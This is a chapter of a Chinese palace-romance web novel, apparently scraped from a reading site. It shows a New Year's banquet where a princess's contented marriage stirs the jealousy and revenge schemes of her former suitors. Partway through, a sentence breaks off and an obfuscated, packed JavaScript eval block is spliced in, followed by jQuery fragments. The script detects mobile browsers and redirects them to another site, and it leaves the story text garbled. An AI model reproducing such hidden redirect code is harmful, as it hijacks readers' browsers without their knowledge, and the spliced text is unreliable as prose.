默认冷灰
24号文字
方正启体

42. 惊觉

作者:血生铜花本书字数:K更新时间:
    “长宁,多日未见,可还好?”太后的声音从上首传来。


    合欢的手猛地一抖,这是她下意识的反应。


    就好像年幼时被蛇咬过一口,长大后哪怕不记得了,看见麻绳也会害怕。那股惧意已经渗进她的血肉里。


    高太后细长的眼睛半阖,漫不经心地往下瞥了一眼。


    金凤高傲地斜插在鬓上,宝石珠子在发间微微晃动,摇曳生光。


    她的眉画的极细,极淡的眸光悠悠晃过来,压的众人不敢说话。


    合欢站起来,和琼宁一起行礼:“多谢太后关怀。”


    “自到王府,父王和世子无一不妥帖,合欢过得很好。”


    确实很好,每日醒来时,没有那等烦心事,一夜安睡到明。


    她不禁侧脸看了琼宁一眼,他确实是极好的夫君。


    合欢从来不求夫君有多少权势,带给她多少生杀予夺的权力快感,她只求夫君能敬她,重她。


    而琼宁本就是这样一个人。


    那些外界揣测菲薄他的,不知他是一个多好的人,好到合欢都不忍因王爷的骗婚而怪他。


    说来也没想到,当初王爷见她不知这人身份,故意骗她立下婚约,嫁过来时原想着举案齐眉而已,夫妻之间只求和睦便罢,没想到还有这等良缘。


    上天庇佑啊,让她也能有这样的家人。


    或许是她坏事过尽,否极泰来。


    周遭娘子郎君们皆诧异极了,纷纷拉着相熟的人窃窃私语。他们金钗玉梳,遍身绮罗,举止言谈高雅端庄,此时说起小话,却和酒肆茶楼之人没什么两样。


    合欢懒得理他们。


    太后听了回话,竟是一笑:“原以为你二人从未见过,婚期又紧,世子此前又一直养病,你们说不到一起去……没想到,感情倒好。”


    她说的意味深长。


    殷明澜紧紧盯着两人坐在一起的影子,他也是犹疑——


    他们两人,怎会这般亲密,究竟是何时认识的?


    嘴里上好的菊花酒渐渐没了滋味。


    合欢她一直都在宫中,世子又不进宫,他们两人到底何时结识?感情到底深到何等地步,当初合欢为了他,可是不惜答应摄政王的条件。


    是的,仅仅有一面之缘,殷明澜还是认出了,这世子就是魏将军定亲宴上,合欢护着的寒门子弟。


    真是好手段……


    隐着身份和摄政王做戏,硬生生逼得合欢入府;而孟合欢,枉她往日聪明伶俐,怎在知道事情真相后,还和此人这般亲密?


    往日对着他的心机手段不依不饶哪去了?


    殷明澜有些焦躁,甚至有些恐惧。


    似乎有什么事渐渐脱离了他的控制,他再也掌握不了。


    他的手紧了紧。


    她一向是个面热心冷的性子,看着笑的热烈,心却凉,当年他花了三年,才入了她的心,而奚琼宁——一个病瞎子,他凭什么?


    孟合欢不过是借来刺激他罢了。


    正是这样。


    殷明澜略勾了勾唇角,一抹喜意在心头萦绕。


    他们两人青梅竹马,就算有些许口角,旁人怎么能轻易插入?还是奸臣之子。


    昔日她可是对摄政王狠辣的行事颇不认同,怎会真心看上他的儿子?


    有那样的奸臣爹,儿子定也是个坏胚子,如何会得她的意?


    烛火跃动,外边漆黑一片,殿里却热闹非凡,哪怕月上枝头,寒鸦惊复栖,这宴依然没有散的意思。


    “这么看来,皇帝倒是为你赐下一份极好的婚事。”太后忽然道。


    在场没有一人不认同太后的话。


    臣子们都是过来人,也有年少时,夫妻之间有没有感情,这如何能看不出来?


    夫人小姐们自然更不必多说,女子天生对于情之一道有更细腻的感触,于是众夫人们连连附和。


    “公主是我们看着长大的,忽然梳了夫人发髻,竟比少女时更添了几分好颜色;而世子,也是温文尔雅,好一对神仙眷侣。”


    萧家夫人笑道:“正是,世子常年不见生人,没想到竟是这样的好人才。”


    一旁的圆脸夫人应和:“这也就罢了,偏偏还是个极为疼新妇的。”


    便有夫人不信:“外头逢场作戏,谁家夫妻会把矛盾闹到陛下面前。”她说的意味深长:“毕竟公主,可是作为先帝义女,今上义妹,下降王府的。”


    众人也知道她言下之意。


    只要摄政王还是这王朝的臣子,公主就是个摆设,也会尊贵一生。


    换句话说,公主就如同陛下送到王府的监察官,这样的人,只能敬着,避着,尊着,却不能爱着,亲近着。


    许多夫人点头。


    她们也都是如此过来的,世家联姻,只看祖上名望,世家谱系,从不会看小儿女的意愿喜好,少年夫妻老来时,冷若冰霜,一年半载也说不上几句,那等妻妾和睦,儿孙成群的人家,只要夫君尊重,也是一等一的好婚事了。


    而公主...


    摄政王是怎么奸臣之名传遍天下的?


    不正是因为天下人遍知,他有不臣之心么?


    这样的人家,公主进去,绝不会有什么信任亲近,他们防备还来不及。甚至,公主想要生子,都不被允许。


    那圆脸夫人却道:“自宫门口,我就在公主后边走着。世子一直走在公主右侧,微微侧身,挡住凛冽的寒风,而公主,则时时注意世子的脚下,遇着什么拦路的,自己先挡着...若不是有情,怎能体贴到这份上?”


    宋轻时蓦地看过去,合欢正将手炉塞进琼宁手里,她有些凌厉的丹凤眼漾着笑意,眉目舒展,万分鲜活。


    叫他都忍不住想,这还是那个孟合欢吗?


    是先帝还在时的她吧。


    那时的她最爱笑了,笑起来像春日里最动听的莺啭,是皇宫里几乎每日都能见到,却怎么也留不住的日光。


    可后来--


    她变了。变得可憎。


    如今,怎么忽然对着仇敌之子这般殷勤小意了?她孟合欢不是眼高于顶,只想做皇帝的女人么?


    宋轻时有些轻蔑地想着:怕是被抛弃的事实打击到了她,这是,认命了?


    他瞥了一眼上首皇帝的神色,心里痛快极了,就算他们二人那年情投意合又怎样,如今还不是劳燕分飞,世间万事看结果,他宋轻时并没有输。


    不过,他忽然心底涌起一个念头,初初还觉得有些荒谬,但想放弃却不舍,挠的心里直痒痒。


    既然合欢公主已经沦落到这份上,需要向仇敌之子献媚,那么,他也行啊。


    宋轻时饮了一大杯酒,直直辣到胃里。


    比起奚琼宁,他不差什么。家世,相貌,才华,甚至,他还是个健全之人,她既然要寻个人依靠,为什么不能是他?


    不像萧若华有家室,不像白毓,有古板的亲人,不像高长青,自个框住自个,还管住


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467891|169841||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    旁人不许越线--


    更何况,他自族里得到消息,北军蠢蠢欲动,以摄政王的脾性,一旦树反旗,他难道不敢杀了皇家公主祭旗吗?


    所以她不管为了什么,都得和离。


    而他宋轻时,趁虚而入,得公主欢心,再弃她如敝履,报昔日之仇。


    只求如此能散去往日心魔。


    心为这个想法跳的越发剧烈,可惜宋轻时却以为是恨意翻滚,未曾看到恨下掩藏的期待。


    他看着不远处的孟合欢。


    一身素衣,陷在毛茸茸的外袄里,越发脸如素瓷,莹润无暇。


    几天不见,倒是出落的越发好了,竟让他恍然才发觉,昔日之事过去许久。


    这不能怪他。


    孟合欢自己,当初费尽心思讨好他,什么好吃的好玩的,应有尽有。白毓只和她是知己,高长青和殷明澜自有使命,生来就要联姻,承继家业,萧若华,更是指腹为婚的婚事,只有他宋轻时--


    他以为,两人是两情相悦,这才一时冲动,向她诉明心事。


    那日的激动和期待,他永远忘不了。


    谁知竟被人狠狠踩了脸面,谁能料到这偏远地方来的丫头心这般大,竟真的敢和殷明澜在一起。


    她以为,只凭真心就可以么?


    那时,柔然人虎视眈眈,摄政王--当时还是异姓王,朝中,世家当官为政,天下人仰其鼻息,而太子,历来都要与世家联姻,正妃,侧妃,甚至子嗣,都逃不过世家影子。


    孟合欢她凭什么,以为自己会是那个意外?


    一份虚无缥缈的情,比得过帝业吗?


    宋轻时看着对面的她,看她和她的夫君亲亲我我。


    真是让人看不顺眼啊。


    他敛去眼里的恨意。


    和他性子不同,宋轻时实在长了一副清俊的脸,没有世俗名利落在脸上,还有年少意气,常年修道,更添了几分飘渺之意,只可惜,眼里执念太重,似是有什么东西求而不得,平白让这人间仙君多了几分红尘阴戾。


    合欢被那人盯得难受。


    “这场宴会,不正常的人真多。”


    一个两个,都盯着她狠狠看,能看出个花来是吗?


    她心里不耐烦极了。


    “怎么,是困了?不若我们与父亲说一声,先去偏殿休息。”琼宁伸手将她揽着,用袖子覆在她身上挡风。


    “反正,我们坐在父王后边,也无人注意。”


    合欢安然靠在他肩上。


    “这可不好说,今日这一个两个,都爱往咱们这头看,就好像咱俩是什么稀奇人,京城的人真是没见识,不拘什么新鲜人新鲜事都要一窝蜂来看。”


    奚琼宁揽着她的手一紧,嘴角的笑意略落了落。


    合欢没有察觉。


    却听他沉闷的嗓音道:“理他们做甚,无关紧要之人罢了。合欢,你休息一会儿,他们要看,就看我好了。”


    她倒安心闭上眼睛。


    “没想到你这往日温文的人,如今也说出这等厉害话。不过,夫君生的俊俏,他们要看,也是福分,我这做妻子的今日就大度一回。”


    她笑得开心。


    却听上首一阵喧哗声,扰得人心烦,倏忽,外头烟花鞭炮声四起,原是今岁已守到了。


    合欢没去看上头发生什么,她只是靠在身边人身上,和他一起,许愿岁岁年年,平安喜乐。


    却不知有一人恨得眼都要红了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)